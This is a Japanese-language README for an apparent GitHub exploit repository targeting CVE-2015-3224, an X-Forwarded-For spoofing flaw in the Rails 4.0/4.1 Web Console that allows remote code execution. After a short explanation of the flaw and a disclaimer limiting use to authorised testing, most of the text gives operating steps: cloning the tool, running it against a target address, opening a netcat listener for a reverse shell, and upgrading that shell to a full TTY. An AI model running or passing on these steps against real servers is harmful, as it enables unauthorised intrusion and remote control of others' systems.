
Ruby on Rails Web Console エクスプロイト (CVE-2015-3224)
このリポジトリには、Ruby on Rails 4.0.x および 4.1.x の開発者用WebコンソールにおけるIPホワイトリストバイパス脆弱性を悪用するためのPythonスクリプトが含まれています。このスクリプトを使用すると、脆弱性のあるサーバーに対してリモートコード実行が可能になります。
⚠️ 免責事項 このスクリプトは、教育目的および許可を得たセキュリティテスト専用です。 明示的な許可なくいかなるシステムに対しても使用しないでください。 著者は、このスクリプトの誤用またはそれによって引き起こされる損害について一切責任を負いません。
脆弱性のあるバージョンのRuby on RailsにおけるWebコンソールは、開発目的で設計されており、信頼できるIPアドレスからのみアクセスできるようにする必要があります。しかし、X-Forwarded-For HTTPヘッダーの不適切な処理により、攻撃者は自分のIPアドレスを偽装して、信頼できるローカルユーザー(例:127.0.0.1 または ::1)になりすますことができます。これによりIPホワイトリストがバイパスされ、Webコンソールへの不正アクセスが許可され、リモートコード実行につながります。
requests ライブラリrequests をインストール:
pip install requests
リポジトリをクローン:
git clone https://github.com/Sic4rio/CVE-2015-3224
cd <リポジトリディレクトリ>
スクリプトを実行可能にする:
chmod +x exploit.py
このモードは、迅速で単純なコマンドを実行するのに便利です。
./exploit.py -t http://<TARGET_IP>:<PORT>
安定した完全対話型シェルには、このモードをお勧めします。
ローカルマシンで新しいターミナルを開き、netcat リスナーを起動します。
nc -lvnp 9001
別のターミナルで、自分のローカルIP(lhost)とポート(lport)を指定して、--rev-shell フラグを付けてスクリプトを実行します。
./exploit.py -t http://<TARGET_IP>:<PORT> --rev-shell --lhost <YOUR_IP> --lport 9001
netcat リスナーに接続が届きます。完全に対話型のTTYにアップグレードするには、netcatウィンドウ内で 次の手順を実行します。
Ctrl+Z を押します。stty raw -echo; fg
Enter キーを押します。reset
export SHELL=bash
export TERM=xterm-256color
stty rows 50 cols 120
これで、完全に機能する安定したシェルが手に入りました!